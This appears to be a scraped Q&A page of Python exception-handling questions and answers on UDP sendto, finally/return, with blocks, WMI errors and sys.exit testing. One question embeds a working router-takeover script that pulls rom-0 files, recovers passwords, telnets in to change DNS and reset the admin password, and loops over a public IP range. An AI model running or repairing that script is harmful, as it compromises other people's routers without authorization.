Python sendto() not executing - python

I have a program that accepts coordinates over UDP, moves some equipment around, and then replies when the job is done.
I seem to have the same issue as this guy:
Python sendto doesn't seem to send
My code is here:
import socket
import struct
import traceback
def main():
sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.bind(('',15000))
reply_sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
while True:
try:
data,addr = sock.recvfrom(1024)
if data is not None:
try:
coords = struct.unpack('>dd',data)
#Stuff happens here
print(f'moved probe to {coords}')
reply_sock.sendto(bytearray.fromhex('B'),('10.0.0.32',15001))
except:
traceback.print_exc()
try:
reply_sock.sendto(bytearray.fromhex('D'),('10.0.0.32',15001))
except:
traceback.print_exc()
break
except:
pass
The program behaves as though the sendto call is just passed over; it accepts the packet, executes the print statements, and loops back around (It can execute the loop multiple times but never replies). I'm looking at wireshark and no packets are ever sent outbound. No errors are ever thrown.
Any ideas why this is happening?

From the documentation:
The string must contain two hexadecimal digits per byte, with ASCII
whitespace being ignored.
So this happens:
$ python3
Python 3.6.6 (default, Sep 12 2018, 18:26:19)
[GCC 8.0.1 20180414 (experimental) [trunk revision 259383]] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> bytearray.fromhex('B')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ValueError: non-hexadecimal number found in fromhex() arg at position 1
>>>
Try this:
reply_sock.sendto(bytearray.fromhex('0B'),('10.0.0.32',15001))
if that's what you mean.
Note that your except is catching all the exceptions, not just the ones you're expecting, so you're not seeing the error you're causing. Consider using something like except OSError here instead.
Also, think about reducing the amount of code in your try sections:
coords = struct.unpack('>dd',data)
#Stuff happens here
print(f'moved probe to {coords}')
bytes_to_send = bytearray.fromhex('0B')
try:
reply_sock.sendto(bytes_to_send,('10.0.0.32',15001))
except IOError as e1:
print(e1)
traceback.print_exc()
bytes_to_send = bytearray.fromhex('0D')
try:
reply_sock.sendto(bytes_to_send,('10.0.0.32',15001))
except IOError as e2:
print(e2)
traceback.print_exc()
break
This way you're protecting only the code which you want to.

Related

Why is exit code zero ("good") when I fail to handle an exception?

Consider the following code snippets and the resulting printouts from the console:
Snippet 1
Behaves just fine. Everything is hunkydory.
Code
try:
raise ValueError()
finally:
print(3)
Console Output
Traceback (most recent call last):
File "D:/FILE_MGMT_PYTHON/fbzdfbhedrh.py", line 5, in <module>
raise ValueError()
ValueError
3
Snippet 2
Also behaves just fine. Everything is hunkydory.
Code
try:
raise ValueError()
except type("", (Exception,), dict()):
print("this is not supposed to print")
finally:
print(3)
Console Output
3
Traceback (most recent call last):
File "D:/FILE_MGMT_PYTHON/fbzdfbhedrh.py", line 14, in <module>
raise ValueError()
ValueError
Snippet 3
I don't understand why the following does not result in an unhandled exception being printed to the console:
Code
def e():
try:
raise ValueError()
x = y + z
L = [1, 2, 3]
print(L[9999999999999999999999999999])
except type("", (Exception,), dict()) as exc:
print("this is not supposed to print")
return "strawberries " + src(exc)
finally:
return "finally"
print(e())
Console Output
finally
Process finished with exit code 0
Build:
------------------
System Information
------------------
Time of this report: 10/25/2019, 07:22:01
Machine name: DESKTOP-U5M46TJ
Machine Id: {403D9006-3BF1-4C4B-AAF5-2AD795E00738}
Operating System: Windows 10 Pro 64-bit (10.0, Build 18362) (18362.19h1_release.190318-1202)
Language: English (Regional Setting: English)
System Manufacturer: System manufacturer
System Model: System Product Name
BIOS: BIOS Date: 10/31/12 20:41:07 Ver: 36.02 (type: BIOS)
Processor: Intel(R) Core(TM) i5-2500K CPU # 3.30GHz (4 CPUs), ~3.3GHz
Memory: 4096MB RAM
Available OS Memory: 4064MB RAM
Page File: 12606MB used, 3744MB available
Windows Dir: C:\Windows
DirectX Version: DirectX 12
DX Setup Parameters: Not found
User DPI Setting: 96 DPI (100 percent)
System DPI Setting: 144 DPI (150 percent)
DWM DPI Scaling: UnKnown
Miracast: Available, with HDCP
Microsoft Graphics Hybrid: Not Supported
DirectX Database Version: Unknown
DxDiag Version: 10.00.18362.0387 64bit Unicode
------------------
IDE Information
------------------
PyCharm 2019.1.3 (Community Edition)
Build #PC-191.7479.30, built on May 29, 2019
JRE: 11.0.2+9-b159.60 amd64
JVM: OpenJDK 64-Bit Server VM by JetBrains s.r.o
Windows 10 10.0
------------------
Python Information
------------------
print(sys.version)
print(sys.version_info)
print(sys.hexversion)
3.8.0 (tags/v3.8.0:fa919fd, Oct 14 2019, 19:21:23) [MSC v.1916 32 bit (Intel)]
sys.version_info(major=3, minor=8, micro=0, releaselevel='final', serial=0)
50856176
Returning from a finally block discards the exception. The function can't return and raise the exception, and you're telling it that you want it to return.
The exception is going to be thrown, but before the try statement can be exited, the finally block needs to be run. Your finally block says "regardless of whatever you thought you were doing, I want to return". So the exception is discarded.
Similary, if you were returning from a try block, and the finally block raised an exception, the return value would be discarded.
See Defining Clean-up Actions in the Python docs:
If an exception occurs during execution of the try clause, the exception may be handled by an except clause. If the exception is not handled by an except clause, the exception is re-raised after the finally clause has been executed.
...
If a finally clause includes a return statement, the finally clause’s return statement will execute before, and instead of, the return statement in a try clause.
The reason is your except statement.
>>> type("", (Exception,), dict())
<class '__main__.'>
And since a "ValueError" is not an exception of that type it won't catch the exception and will only go into the finally statement.
Change the except statement to:
except ValueError as e:
pass
# or this:
except Exception as e:
pass

python 2 - why does 'with' behave differently in embedded c code?

I'm trying to use python 2.7.5 in a c/c++ DLL. This DLL is used by another application which has made debugging a challenge. After banging away at this for hours I have isolated the problem down to where a file read in a 'with' statement is throwing an exception. This I do not understand...'with' should absorb an exception if implemented correctly, right? Anyway calling the same python code from the command line has no problems at all.
My C/CPP DLL calls this...
def parsetest(filename):
bytesin = getMD3Bytes(filename)
return bytesin
def getMD3Bytes(filename):
filename = 'lower.md3'
bytes = ''
valuetoreturn = 1
try:
with open(filename,'rb') as fileptr:
if fileptr != None:
bytes = fileptr.read()
valuetoreturn = 333
except:
valuetoreturn = 991
return valuetoreturn
If the DLL runs this code via...
pValue = PyObject_CallObject(pFunc, arguments);
And gets a result via...
iResult = PyInt_AsLong(pValue);
iResult has the value of 991 instead of 333 which would only happen if an exception had not occurred inside of 'with'. I know because I had the app calling the DLL pop up a message box with iResult in it.
Even more interesting to me, this works...
C:\Program Files (x86)\DeleD CE\Plugins>python
Python 2.7.5 (default, May 15 2013, 22:43:36) [MSC v.1500 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import parseMD3
>>> testval = parseMD3.parsetest('junk')
>>> print testval
333
>>> exit()
So why does the CLI python return a different result that the same code being call from PyObject_CallObject? Why does 'with' behave differently here?
with does not handle exceptions. It only ensures that the file is closed when an exception occurs. If an exception occurs in the open() expression itself, the with block isn't even entered; fileptr will never be bound to None either.
You are catching all exceptions, including keyboard interrupts and memory errors, so we cannot begin to tell why the code fails when running under C++ control here.
Stick to a limited set of exceptions instead, like IOError, and log the exception properly:
import logging
logger = logging.getLogger('__name__')
def getMD3Bytes(filename):
filename = 'lower.md3'
bytes = ''
valuetoreturn = 1
try:
with open(filename,'rb') as fileptr:
bytes = fileptr.read()
valuetoreturn = 333
except IOError:
logger.exception('Failed to open file properly')
valuetoreturn = 991
return valuetoreturn
The default config for the logger will output to stderr, but you can configure it to log to a file instead:
logging.basicConfig(filename='/tmp/debug.log', level=logging.DEBUG)

NameError: name 'host' is not defined

I'm new in python programming. When i try running a simple python script i get error like this in my terminal
root#bt:/tmp# python code.py
Traceback (most recent call last):
File "code.py", line 42, in <module>
print host+" -> Offline!"
NameError: name 'host' is not defined
I have been search in Google but im difficult to fix my problem because im new in this programming language. Can you help me?
This is my script like this :
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
from netaddr import IPNetwork
import urllib2
import urllib
import re
import getpass
import sys
import telnetlib
import time
import os
import socket
import sys
socket.setdefaulttimeout(4)
register_openers()
try:
os.remove("rom-0")
except:
pass
try:
host=str(sys.argv[1])
urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0")
datagen, headers = multipart_encode({"uploadedfile": open("rom-0")})
request = urllib2.Request("http://localhost/decoded.php", datagen, headers)
str1 = urllib2.urlopen(request).read()
m = re.search('rows=10>(.*)', str1)
if m:
found = m.group(1)
tn = telnetlib.Telnet(host, 23, 3)
tn.read_until("Password: ")
tn.write(found + "\n")
tn.write("set lan dhcpdns 8.8.8.8\n")
tn.write("sys password admin\n")
print host+" -> Success"
tn.write("exit\n")
except:
print host+" -> Offline!"
How i can fix error like this.?
Thanks
If i put : host=str(sys.argv[1]) before try.except show error like this :
Traceback (most recent call last):
File "code.py", line 17, in
host=str(sys.argv[1])
IndexError: list index out of range
And this is my input :
from netaddr import IPNetwork
import os
for ip in IPNetwork ('41.108.48.1/24'):
os.system("python code.py "+str(ip))
Your except clause will catch any error in any line of code in the try block. If you don't specify enough arguments on the command line, the line host = str(sys.argv[1]) will fail, leaving host unassigned, which then causes the error you are seeing when you try to print it.
You should take most of the code out of your try block, really, and/or create multiple try blocks that catch errors in much smaller chunks of code. Furthermore, you should specify the actual exception type you want to handle with each except instead of trying to handle all of them. Bare except: catches things you probably don't want caught, such as KeyboardInterrupt and SystemExit. If you must catch most exceptions, use except Exception: instead of just except:.
it seem that your script expects an input parameter
host=str(sys.argv[1])
in case that parameter is not supplied, as shown in your post, an exception raised and been caught in the except clause before the host parameter was defined
try to declare host before the try/except block
you are defining host in the first line of try/except
i believe the error is in that first line.
to debug this take remove the try/except to see what the actual error is.

python - problems handling exception and continuing

I am building or trying to build a python script which check's a list of ip addresses (ips.txt) for a specific program using the wmi python module. However, no matter how I handle the exceptions on assets with no RPC service running the script stops running on an error. I am using python 2.7.5
Can I catch and pass the error's to proceed?
Can I catch the error and print or return a note that the ip was not alive or rpc was not running?
Thank you in advance
Here is my code:
import wmi
list = open("ips.txt")
for line in list.readlines():
asset = line.strip('\n')
c = wmi.WMI(asset)
try:
for process in c.Win32_Process (name="SbClientManager.exe"):
print asset, process.ProcessId, process.Name
except Exception:
pass
I have tried handling the exceptions in multiple way's to continue parsing my list, but the script continues to error out with the following:
Traceback (most recent call last):
File ".\check_service.py", line 12, in <module>
c = wmi.WMI(asset)
File "C:\Python27\lib\site-packages\wmi.py", line 1290, in connect
handle_com_error ()
File "C:\Python27\lib\site-packages\wmi.py", line 241, in handle_com_error
raise klass (com_error=err)
wmi.x_wmi: <x_wmi: Unexpected COM Error (-2147023174, 'The RPC server is unavailable.', None, None)>
Ultimately, I am just trying to continue the script and catch the error. Maybe a note stating that IP was not responsive would be helpful. Here are the exceptions samples that I have tried:
except Exception:
sys.exc_clear()
except:
pass
except wmi.x_wmi, x:
pass
The traceback you pasted says that the error is in the c = wmi.WMI(asset) line. You need to put that line inside the try block.
Like so:
import wmi
list = open("ips.txt")
bad_assets = []
for line in list.readlines():
asset = line.strip('\n')
try:
c = wmi.WMI(asset)
for process in c.Win32_Process (name="SbClientManager.exe"):
print asset, process.ProcessId, process.Name
except Exception:
bad_assets.append(asset)
Also, trying to catch the right exception is recommended.

Capture error message from sys.exit() during testing

Is there a way to "capture" the error message printed out by sys.exit() during testing and compare it to another string?
Some background: in the Python script I'm working on, I've been using sys.exit() to print out a more specific error message (and avoid the traceback which usually arises).
try:
do_something()
except IOError:
sys.exit('my error message')
Other times, I just use the regular message (esp. with ConfigParser):
except ConfigParser.NoSectionError as err:
sys.exit(err)
I would like to capture the error message there and perhaps use an assertIs(err, 'my intended error message') to compare.
The script I'm working on has both Python 2 & 3 versions, so I'd appreciate some examples if there are differences between them for doing this.
sys.exit dosn't do anythin else then raising SystemExit, which you can catch like any other exception.
The example about the context manager just shows you how you can use it to get the exception which was thrown in the with block if you need to perform checks on it.
In the case of SystemExit this would look like this:
with self.assertRaises(SystemExit) as cm:
sys.exit('some message')
self.assertEqual(cm.exception.args[0], 'some message')
...
assertEqual is part of unittest's TestCase, so won't help you if you're not using it. You would have to shell off the process to see what happens. Why not write some unit tests instead?
Check out the examples in traceback and the provided exit block.
https://docs.python.org/3/library/traceback.html
Python 3.6.6 |Anaconda custom (64-bit)| (default, Jun 28 2018, 11:27:44) [MSC v.1900 64 bit (AMD64)]
import traceback
if __name__ == '__main__':
try:
main()
except Exception as e:
with open('death.log', 'w') as fh:
big_stack = '\n'.join(traceback.format_stack())
print(big_stack)
print(repr(e))
fh.write(big_stack)
fh.write(repr(e))

Categories